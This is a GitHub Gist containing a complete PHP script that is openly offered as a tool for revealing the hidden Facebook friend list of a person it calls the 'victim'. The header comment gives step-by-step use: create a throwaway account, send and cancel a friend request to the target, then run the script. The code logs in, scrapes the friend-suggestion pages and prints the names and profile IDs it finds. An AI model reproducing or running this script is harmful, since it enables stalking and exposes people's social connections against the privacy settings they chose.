Created
August 14, 2014 03:52
-
-
Save kittinan/64ec8ac80f58a3964c63 to your computer and use it in GitHub Desktop.
Find some friend on Facebook hidden friendlist user
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* | |
* Find some friend on Facebook hidden friendlist user | |
* | |
* more information : http://goo.gl/av95pC | |
* | |
* Instruction | |
* | |
* 1. Register New Facebook User | |
* 2. Use new facebook user make friend request to victim and cancel it | |
* 3. Use this script to fetch friend (change email & password below) | |
* | |
*/ | |
class HTTP { | |
private $cookiePath = null; | |
private $userAgent = 'Googlebot/2.1 (+http://www.google.com/bot.html)'; | |
private $timeout = 60; | |
public function __construct($cookiePath = null) { | |
if (!empty($cookiePath)) { | |
$this->cookiePath = $cookiePath; | |
} | |
} | |
public function setUserAgent($userAgent) { | |
$this->userAgent = $userAgent; | |
} | |
public function setCookiePath($path) { | |
$this->cookiePath = $path; | |
} | |
public function setTimeout($timeout) { | |
$this->timeout = $timeout; | |
} | |
/* | |
* Method Get | |
*/ | |
public function get($url, $referer = null) { | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); | |
if (!empty($referer)) { | |
curl_setopt($ch, CURLOPT_REFERER, $referer); | |
} | |
if (!empty($this->cookiePath)) { | |
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiePath); | |
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiePath); | |
} | |
$content = curl_exec($ch); | |
curl_close($ch); | |
return $content; | |
} | |
/* | |
* Method Post with Upload | |
*/ | |
public function post($url, $params = null, $is_upload = false) { | |
if (!empty($params)) { | |
$query = http_build_query($params); | |
} else { | |
$query = ''; | |
} | |
$ch = curl_init(); | |
$opts[CURLOPT_URL] = $url; | |
$opts[CURLOPT_RETURNTRANSFER] = 1; | |
$opts[CURLOPT_CONNECTTIMEOUT] = $this->timeout; | |
$opts[CURLOPT_USERAGENT] = $this->userAgent; | |
if (!empty($this->cookiePath)) { | |
$opts[CURLOPT_COOKIEFILE] = $this->cookiePath; | |
$opts[CURLOPT_COOKIEJAR] = $this->cookiePath; | |
} | |
if ($is_upload) { | |
$opts[CURLOPT_POSTFIELDS] = $params; | |
} else { | |
$opts[CURLOPT_POSTFIELDS] = $query; | |
} | |
curl_setopt_array($ch, $opts); | |
$result = curl_exec($ch); | |
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE); | |
curl_close($ch); | |
if ($status == 200) { | |
return $result; | |
} else { | |
return false; | |
} | |
} | |
/* | |
* Download File | |
*/ | |
public function download($url, $savePath) { | |
$fp = fopen($savePath, 'w+'); | |
$ch = curl_init(str_replace(" ", "%20", $url)); //Here is the file we are downloading, replace spaces with %20 | |
curl_setopt($ch, CURLOPT_TIMEOUT, 60); | |
curl_setopt($ch, CURLOPT_FILE, $fp); // write curl response to file | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
curl_exec($ch); // get curl response | |
$info = curl_getinfo($ch); | |
fclose($fp); | |
curl_close($ch); | |
} | |
} | |
class facebook { | |
private $http; | |
function __construct() { | |
$this->http = new HTTP('./cookie.txt'); | |
$this->http->setUserAgent('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0'); | |
} | |
public function login($email, $password) { | |
$url = 'https://mbasic.facebook.com/'; | |
$html = $this->http->get($url); | |
if (empty($html)) { | |
return false; | |
} | |
//Grab All input | |
$pattern_input = '/<input.*?name="(.*?)".*?value="(.*?)".*?>/'; | |
preg_match_all($pattern_input, $html, $matches); | |
if (empty($matches)) { | |
return false; | |
} | |
$params = array(); | |
foreach ($matches[1] as $index => $key) { | |
$params[$key] = $matches[2][$index]; | |
} | |
$params['email'] = $email; | |
$params['pass'] = $password; | |
$url = 'https://mbasic.facebook.com/login.php'; | |
$html = $this->http->post($url, $params); | |
} | |
public function checkLoginStatus() { | |
$url = 'https://mbasic.facebook.com/profile.php?v=info'; | |
$html = $this->http->get($url); | |
if (empty($html)) { | |
return false; | |
} | |
$pattern_name = '/<strong class="bm">(.*?)<\/strong>/'; | |
preg_match($pattern_name, $html, $matches); | |
if (empty($matches[1])) { | |
return false; | |
} | |
$found_name = $matches[1]; | |
//check again. | |
$pattern_title = '/<title>(.*?)<\/title>/'; | |
preg_match($pattern_name, $html, $matches); | |
if (empty($matches[1])) { | |
return false; | |
} | |
if ($found_name != $matches[1]) { | |
return false; | |
} | |
return true; | |
} | |
public function grabFriends() { | |
$url = 'https://mbasic.facebook.com/findfriends/browser'; | |
$html = $this->http->get($url); | |
if (empty($html)) { | |
return array(); | |
} | |
$friends = $this->parseFriends($html); | |
if (empty($friends)) { | |
return array(); | |
} | |
//Find More Friend | |
while (true) { | |
$pattern = '/(\/friends\/center\/suggestions\/\?ppk.*?)"/'; | |
preg_match($pattern, $html, $matches); | |
if (empty($matches[1])) { | |
break; | |
} | |
$next_url = 'https://mbasic.facebook.com' . $matches[1]; | |
$html = $this->http->get($next_url); | |
$tmp_friends = $this->parseFriends($html); | |
if (empty($tmp_friends)) { | |
break; | |
} | |
$friends = array_merge($friends, $tmp_friends); | |
} | |
return $friends; | |
} | |
private function parseFriends($html) { | |
$pattern = '/\/friends\/hovercard\/mbasic\/\?uid=(\d*?)&.*?<span class="b.">(.*?)<\/span>/'; | |
preg_match_all($pattern, $html, $matches); | |
if (empty($matches)) { | |
return array(); | |
} | |
$friends = array(); | |
//Format Data | |
foreach ($matches[1] as $index => $uid) { | |
$friends[] = array('uid' => $uid, 'name' => $matches[2][$index]); | |
} | |
return $friends; | |
} | |
} | |
/** | |
* Main Prog | |
*/ | |
$email = 'YOUR_EMAIL_FACEBOOK_NEW_USER'; | |
$password = 'YOUR_PASSWORD_FACEBOOK_NEW_USER'; | |
$facebook = new facebook(); | |
print "[-] Checking login status...\n"; | |
$status = $facebook->checkLoginStatus(); | |
if ($status == false) { | |
print "[-] Trying to Login \n"; | |
$facebook->login($email, $password); | |
$status = $facebook->checkLoginStatus(); | |
if ($status == false) { | |
print "[-] Can't Login exit... \n"; | |
exit(); | |
} | |
} | |
print "[-] Login success\n"; | |
print "[-] Fetching Friends...\n"; | |
$friends = $facebook->grabFriends(); | |
if (empty($friends)) { | |
print "[-] Can't Find Friend"; | |
exit(); | |
} | |
foreach ($friends as $friend) { | |
print "[-] Name : " . $friend['name'] . ' | uid : ' . $friend['uid'] . ' | url : https://facebook.com/' . $friend['uid'] . "\n"; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment